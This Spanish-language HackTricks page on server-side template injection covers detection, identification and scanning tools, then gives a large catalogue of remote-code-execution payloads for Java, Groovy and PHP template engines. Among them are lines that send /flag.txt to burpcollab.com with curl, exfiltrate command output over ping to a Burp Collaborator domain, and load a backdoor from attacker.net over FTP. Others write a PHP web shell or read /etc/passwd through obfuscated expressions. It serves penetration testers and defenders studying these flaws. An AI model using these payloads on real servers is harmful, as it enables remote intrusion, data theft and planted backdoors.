SSTI (Server Side Template Injection)

Apoya a HackTricks

RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.

¿Qué es SSTI (Inyección de Plantillas del Lado del Servidor)?

La inyección de plantillas del lado del servidor es una vulnerabilidad que ocurre cuando un atacante puede inyectar código malicioso en una plantilla que se ejecuta en el servidor. Esta vulnerabilidad se puede encontrar en varias tecnologías, incluyendo Jinja.

Jinja es un motor de plantillas popular utilizado en aplicaciones web. Consideremos un ejemplo que demuestra un fragmento de código vulnerable utilizando Jinja:

output = template.render(name=request.args.get('name'))

En este código vulnerable, el parámetro name de la solicitud del usuario se pasa directamente a la plantilla utilizando la función render. Esto puede permitir potencialmente a un atacante inyectar código malicioso en el parámetro name, lo que lleva a una inyección de plantilla del lado del servidor.

Por ejemplo, un atacante podría crear una solicitud con una carga útil como esta:

http://vulnerable-website.com/?name={{bad-stuff-here}}

El payload {{bad-stuff-here}} se inyecta en el parámetro name. Este payload puede contener directivas de plantilla Jinja que permiten al atacante ejecutar código no autorizado o manipular el motor de plantillas, potencialmente ganando control sobre el servidor.

Para prevenir vulnerabilidades de inyección de plantillas del lado del servidor, los desarrolladores deben asegurarse de que la entrada del usuario esté debidamente saneada y validada antes de ser insertada en las plantillas. Implementar validación de entrada y utilizar técnicas de escape conscientes del contexto puede ayudar a mitigar el riesgo de esta vulnerabilidad.

Detección

Para detectar la Inyección de Plantillas del Lado del Servidor (SSTI), inicialmente, fuzzing de la plantilla es un enfoque sencillo. Esto implica inyectar una secuencia de caracteres especiales (${{<%[%'"}}%\) en la plantilla y analizar las diferencias en la respuesta del servidor a datos regulares frente a este payload especial. Los indicadores de vulnerabilidad incluyen:

  • Errores lanzados, revelando la vulnerabilidad y potencialmente el motor de plantillas.

  • Ausencia del payload en la reflexión, o partes de él faltantes, lo que implica que el servidor lo procesa de manera diferente a los datos regulares.

  • Contexto de Texto Plano: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo, {{7*7}}, ${7*7}).

  • Contexto de Código: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiar greeting en http://vulnerable-website.com/?greeting=data.username para ver si la salida del servidor es dinámica o fija, como en greeting=data.username}}hello devolviendo el nombre de usuario.

Fase de Identificación

Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads específicos de lenguaje. Los payloads comunes que causan errores incluyen ${7/0}, {{7/0}}, y <%= 7/0 %>. Observar la respuesta del servidor a operaciones matemáticas ayuda a identificar el motor de plantillas específico.

Herramientas

un escáner SSTI + CSTI eficiente que utiliza poliglotas novedosas.

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

una tabla interactiva que contiene los poliglotas de inyección de plantillas más eficientes junto con las respuestas esperadas de los 44 motores de plantillas más importantes.

Explotaciones

Genérico

En esta lista de palabras puedes encontrar variables definidas en los entornos de algunos de los motores mencionados a continuación:

Java

Java - Inyección básica

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Recuperar las variables de entorno del sistema

${T(java.lang.System).getenv()}

Java - Recuperar /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Puedes probar tus payloads en https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legado)

  • ${7*'7'} Nada

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Bypass de sandbox

⚠️ solo funciona en versiones de Freemarker anteriores a 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Más información

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Más información

Thymeleaf

En Thymeleaf, una prueba común para vulnerabilidades SSTI es la expresión ${7*7}, que también se aplica a este motor de plantillas. Para la posible ejecución remota de código, se pueden usar expresiones como las siguientes:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf requiere que estas expresiones se coloquen dentro de atributos específicos. Sin embargo, se admite inlining de expresiones para otras ubicaciones de plantillas, utilizando sintaxis como [[...]] o [(...)]. Así, una carga útil de prueba SSTI simple podría verse como [[${7*7}]].

Sin embargo, la probabilidad de que esta carga útil funcione es generalmente baja. La configuración predeterminada de Thymeleaf no admite la generación dinámica de plantillas; las plantillas deben estar predefinidas. Los desarrolladores tendrían que implementar su propio TemplateResolver para crear plantillas a partir de cadenas sobre la marcha, lo cual es poco común.

Thymeleaf también ofrece preprocesamiento de expresiones, donde las expresiones dentro de dobles guiones bajos (__...__) son preprocesadas. Esta característica se puede utilizar en la construcción de expresiones, como se demuestra en la documentación de Thymeleaf:

#{selection.__${sel.code}__}

Ejemplo de Vulnerabilidad en Thymeleaf

Considera el siguiente fragmento de código, que podría ser susceptible a explotación:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Esto indica que si el motor de plantillas procesa estas entradas de manera incorrecta, podría llevar a la ejecución remota de código accediendo a URLs como:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Más información

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters

Se pueden usar múltiples expresiones de variables; si ${...} no funciona, prueba #{...}, *{...}, @{...} o ~{...}.

  • Leer /etc/passwd

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script personalizado para la generación de payloads

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Más Información

Manipulación de Vista de Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Versión antigua de Pebble ( < versión 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nueva versión de Pebble :

{% set cmd = 'id' %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava es un proyecto de código abierto desarrollado por Hubspot, disponible en https://github.com/HubSpot/jinjava/

Jinjava - Ejecución de comandos

Corregido por https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Más información

Hubspot - HuBL (Java)

  • {% %} delimitadores de declaración

  • {{ }} delimitadores de expresión

  • {# #} delimitadores de comentario

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Busca "com.hubspot.content.hubl.context.TemplateContextRequest" y descubre el proyecto Jinjava en Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Más información

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) es una característica fundamental que facilita la interacción entre la capa de presentación (como páginas web) y la lógica de la aplicación (como beans gestionados) en JavaEE. Se utiliza ampliamente en múltiples tecnologías de JavaEE para agilizar esta comunicación. Las principales tecnologías de JavaEE que utilizan EL incluyen:

  • JavaServer Faces (JSF): Emplea EL para vincular componentes en páginas JSF a los datos y acciones correspondientes en el backend.

  • JavaServer Pages (JSP): EL se utiliza en JSP para acceder y manipular datos dentro de las páginas JSP, facilitando la conexión de elementos de la página con los datos de la aplicación.

  • Contexts and Dependency Injection for Java EE (CDI): EL se integra con CDI para permitir una interacción fluida entre la capa web y los beans gestionados, asegurando una estructura de aplicación más coherente.

Consulta la siguiente página para aprender más sobre la explotación de intérpretes de EL:

EL - Expression Language

Groovy (Java)

Las siguientes elusiones del Security Manager se tomaron de este writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Más información

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Formato de plantilla

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Más información

Plates (PHP)

Plates es un motor de plantillas nativo de PHP, que se inspira en Twig. Sin embargo, a diferencia de Twig, que introduce una nueva sintaxis, Plates aprovecha el código PHP nativo en las plantillas, lo que lo hace intuitivo para los desarrolladores de PHP.

Controlador:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Plantilla de página:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Plantilla de diseño:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Más información

PHPlib y HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB es lo mismo que PHPlib pero portado a Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>